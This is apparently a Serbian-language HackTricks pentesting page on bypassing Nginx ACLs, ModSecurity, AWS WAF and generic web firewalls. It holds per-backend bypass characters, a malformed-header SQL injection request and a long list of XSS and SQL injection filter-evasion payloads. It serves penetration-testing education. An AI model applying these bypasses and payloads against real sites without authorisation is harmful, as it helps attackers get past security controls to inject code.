hacktricks/pentesting-web/proxy-waf-protections-bypass.md

13 KiB
Raw Blame History

Proxy / WAF Protections Bypass

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

{% embed url="https://websec.nl/" %}

Bypass Nginx ACL Rules with Pathname Manipulation

Tehnike iz ove studije.

Primer Nginx pravila:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Da bi se sprečili zaobilaženja, Nginx vrši normalizaciju putanje pre nego što je proveri. Međutim, ako backend server vrši drugačiju normalizaciju (uklanjajući karaktere koje Nginx ne uklanja), može biti moguće zaobići ovu odbranu.

NodeJS - Express

Nginx Verzija Node.js Karakteri za zaobilaženje
1.22.0 \xA0
1.21.6 \xA0
1.20.2 \xA0, \x09, \x0C
1.18.0 \xA0, \x09, \x0C
1.16.1 \xA0, \x09, \x0C

Flask

Nginx Verzija Flask Karakteri za zaobilaženje
1.22.0 \x85, \xA0
1.21.6 \x85, \xA0
1.20.2 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx Verzija Spring Boot Karakteri za zaobilaženje
1.22.0 ;
1.21.6 ;
1.20.2 \x09, ;
1.18.0 \x09, ;
1.16.1 \x09, ;

PHP-FPM

Nginx FPM konfiguracija:

location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx je konfigurisan da blokira pristup /admin.php, ali je moguće zaobići ovo pristupom /admin.php/index.php.

Kako sprečiti

location ~* ^/admin {
deny all;
}

Bypass Mod Security Rules

Path Confusion

U ovom postu objašnjeno je da ModSecurity v3 (do 3.0.12), nepravilno implementira REQUEST_FILENAME varijablu koja je trebala da sadrži pristupnu putanju (do početka parametara). To je zato što je izvršavao URL dekodiranje da bi dobio putanju.
Zato, zahtev kao http://example.com/foo%3f';alert(1);foo= u mod security će pretpostaviti da je putanja samo /foo jer se %3f transformiše u ? koji završava URL putanju, ali zapravo putanja koju server prima biće /foo%3f';alert(1);foo=.

Varijable REQUEST_BASENAME i PATH_INFO su takođe bile pogođene ovom greškom.

Nešto slično se dogodilo u verziji 2 Mod Security koja je omogućila zaobilaženje zaštite koja je sprečavala korisnike da pristupaju datotekama sa specifičnim ekstenzijama vezanim za rezervne datoteke (kao što su .bak) jednostavno slanjem tačke URL kodirane u %2e, na primer: https://example.com/backup%2ebak.

Bypass AWS WAF ACL

Malformed Header

Ova istraživanja pominju da je bilo moguće zaobići AWS WAF pravila primenjena na HTTP zaglavlja slanjem "neispravnog" zaglavlja koje nije pravilno analizirano od strane AWS-a, ali jeste od strane backend servera.

Na primer, slanjem sledećeg zahteva sa SQL injekcijom u zaglavlju X-Query:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

Moguće je zaobići AWS WAF jer nije razumeo da je sledeća linija deo vrednosti zaglavlja dok je NODEJS server to razumeo (ovo je ispravljeno).

Generički WAF zaobilaženja

Ograničenja veličine zahteva

Obično WAF-ovi imaju određeno ograničenje dužine zahteva za proveru i ako je POST/PUT/PATCH zahtev veći od toga, WAF neće proveriti zahtev.

Maksimalna veličina tela web zahteva koja može biti pregledana za zaštitu od Application Load Balancer i AWS AppSync8 KB
Maksimalna veličina tela web zahteva koja može biti pregledana za zaštitu od CloudFront, API Gateway, Amazon Cognito, App Runner i Verified Access**64 KB

Stariji Web Application Firewalls sa Core Rule Set 3.1 (ili nižim) dozvoljavaju poruke veće od 128 KB isključivanjem inspekcije tela zahteva, ali te poruke neće biti proverene na ranjivosti. Za novije verzije (Core Rule Set 3.2 ili novije), isto se može uraditi isključivanjem maksimalnog ograničenja veličine tela zahteva. Kada zahtev premaši ograničenje veličine:

Ako je mod prevencije: Zapisuje i blokira zahtev.
Ako je mod detekcije: Pregleda do ograničenja, ignoriše ostatak i beleži ako Content-Length premaši ograničenje.

Podrazumevano, WAF pregledava samo prvih 8KB zahteva. Može povećati ograničenje do 128KB dodavanjem Naprednih Metapodataka.

Do 128KB.

Obfuskacija

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode Kompatibilnost

U zavisnosti od implementacije Unicode normalizacije (više informacija ovde), karakteri koji dele Unicode kompatibilnost mogu biti u mogućnosti da zaobiđu WAF i izvrše se kao predviđeni payload. Kompatibilni karakteri se mogu naći ovde.

Primer

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
img src⁼p onerror⁼prompt⁽1⁾﹥  --> img src=p onerror='prompt(1)'>

H2C Smuggling

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

IP Rotation

Regex Bypasses

Različite tehnike se mogu koristiti za zaobilaženje regex filtera na vatrozidima. Primeri uključuju naizmenično korišćenje velikih i malih slova, dodavanje preloma linija i kodiranje payload-a. Resursi za različite zaobilaženja mogu se naći na PayloadsAllTheThings i OWASP. Primeri u nastavku su preuzeti iz ovog članka.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Alati

  • nowafpls: Burp dodatak za dodavanje beskorisnih podataka u zahteve kako bi se zaobišli WAF-ovi po dužini

Reference

{% embed url="https://websec.nl/" %}

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks
{% endhint %}